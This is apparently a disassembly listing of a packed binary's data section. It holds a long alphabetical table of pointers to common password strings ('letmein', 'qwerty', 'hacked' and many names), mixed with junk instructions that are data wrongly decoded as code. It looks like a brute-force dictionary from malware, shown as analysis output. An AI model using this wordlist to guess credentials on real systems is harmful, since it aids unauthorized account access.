dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect_0 ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue_0 ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault_0 ; "default"
dd offset aDefault_1 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
; ---------------------------------------------------------------------------
add al, 0D9h
inc ebx
add [eax], dl
fld dword ptr [ebx+0]
sbb cl, bl
inc ebx
loc_43AA4F: ; CODE XREF: .nsp0:0043AA74j
add [eax], ah
fld dword ptr [ebx+0]
sub al, 0D9h
inc ebx
add [eax], bh
fld dword ptr [ebx+0]
inc esp
fld dword ptr [ebx+0]
dec esp
fld dword ptr [ebx+0]
pop eax
fld dword ptr [ebx+0]
pusha
fld dword ptr [ebx+0]
push 700043D9h
fld dword ptr [ebx+0]
js short loc_43AA4F
inc ebx
add [eax-77FFBC27h], al
fld dword ptr [ebx+0]
nop
fld dword ptr [ebx+0]
cwde
fld dword ptr [ebx+0]
movsb
fld dword ptr [ebx+0]
mov al, 0D9h
inc ebx
add [eax-3FFFBC27h], bh
fld dword ptr [ebx+0]
enter 43D9h, 0
aam 0D9h
inc ebx
add ah, bl
fld dword ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail_0 ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland_0 ; "england"
dd offset aEnglish_0 ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile_0 ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance_0 ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree_0 ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench_0 ; "french"
dd offset aFriday_0 ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
; ---------------------------------------------------------------------------
and dh, bl
inc ebx
add [eax], ch
fiadd word ptr [ebx+0]
loc_43AC98: ; CODE XREF: .nsp0:0043ACB8j
xor dh, bl
inc ebx
add [eax], bh
fiadd word ptr [ebx+0]
inc eax
fiadd word ptr [ebx+0]
dec eax
fiadd word ptr [ebx+0]
push esp
fiadd word ptr [ebx+0]
pusha
fiadd word ptr [ebx+0]
push 700043DEh
fiadd word ptr [ebx+0]
js short loc_43AC98
inc ebx
add [esi+ebx*8-2173FFBDh], al
inc ebx
add [eax-5FFFBC22h], bl
fiadd word ptr [ebx+0]
test al, 0DEh
inc ebx
add [eax-47FFBC22h], dh
fiadd word ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune_0 ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill_0 ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad_0 ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout_0 ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode_1 ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday_0 ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
; ---------------------------------------------------------------------------
add al, 0EBh
inc ebx
add [ebx+ebp*8], cl
inc ebx
add [ebx+ebp*8], dl
inc ebx
add [ebx+ebp*8], bl
inc ebx
add [eax], ch
jmp short loc_43B2CE
; ---------------------------------------------------------------------------
align 4
xor al, 0EBh
inc ebx
add [ebx+ebp*8], bh
inc ebx
add [eax-15h], cl
inc ebx
add [eax-15h], dl
inc ebx
add [eax-15h], bl
inc ebx
add [eax-15h], ah
inc ebx
add [eax-15h], ch
inc ebx
add [eax-15h], dh
inc ebx
add [eax-15h], bh
inc ebx
add [eax-77FFBC15h], al
jmp short loc_43B2FA
; ---------------------------------------------------------------------------
align 4
dd offset aNagel ; "nagel"
; ---------------------------------------------------------------------------
cwde
jmp short loc_43B302
; ---------------------------------------------------------------------------
align 10h
dd offset aNancy ; "nancy"
; ---------------------------------------------------------------------------
test al, 0EBh
inc ebx
add [ebx+ebp*8-1443FFBDh], dh
loc_43B2CE: ; CODE XREF: .nsp0:0043B289j
inc ebx
add ah, al
jmp short loc_43B316
; ---------------------------------------------------------------------------
align 4
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
; ---------------------------------------------------------------------------
and ah, ch
loc_43B2FA: ; CODE XREF: .nsp0:0043B2B5j
inc ebx
add [eax], ch
in al, dx
inc ebx
add [eax], dh
in al, dx
loc_43B302: ; CODE XREF: .nsp0:0043B2BDj
inc ebx
add [eax], bh
in al, dx
inc ebx
add [esp+ebp*8+43h], al
add [esp+ebp*8+43h], cl
add [eax-14h], bl
inc ebx
; ---------------------------------------------------------------------------
db 0
db 64h, 0ECh
; ---------------------------------------------------------------------------
loc_43B316: ; CODE XREF: .nsp0:0043B2D1j
inc ebx
add [esp+ebp*8+43h], ch
add [esp+ebp*8+43h], dh
add [esp+ebp*8+43h], bh
add [esp+ebp*8-1373FFBDh], al
inc ebx
add [esp+ebp*8-1363FFBDh], dl
inc ebx
add [esp+ebp*8-1353FFBDh], ah
inc ebx
add [esp+ebp*8-133FFFBDh], dh
inc ebx
add al, cl
in al, dx
inc ebx
add al, dl
in al, dx
inc ebx
add al, bl
in al, dx
inc ebx
add al, ah
in al, dx
inc ebx
add al, ch
in al, dx
inc ebx
add al, dh
in al, dx
inc ebx
add al, bh
in al, dx
inc ebx
add ds:0ED0C0043h[ebp*8], al
inc ebx
add ds:0ED200043h[ebp*8], dl
inc ebx
add ds:0ED340043h[ebp*8], ch
inc ebx
add ds:0ED440043h[ebp*8], bh
inc ebx
add [ebp+ebp*8+43h], cl
add [eax-13h], bl
inc ebx
add [eax-13h], ah
inc ebx
add [eax-13h], ch
inc ebx
add [eax-13h], dh
inc ebx
add [eax-13h], bh
inc ebx
add [ebp+ebp*8-126FFFBDh], al
inc ebx
add [ebp+ebp*8-125BFFBDh], bl
inc ebx
add [ebp+ebp*8-124BFFBDh], ch
inc ebx
add [ebp+ebp*8-123BFFBDh], bh
inc ebx
add al, dl
in eax, dx
inc ebx
add al, bl
in eax, dx
inc ebx
add al, ah
in eax, dx
inc ebx
add al, ch
in eax, dx
inc ebx
add al, dh
in eax, dx
inc ebx
add al, bh
in eax, dx
inc ebx
; ---------------------------------------------------------------------------
db 0
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom_3 ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
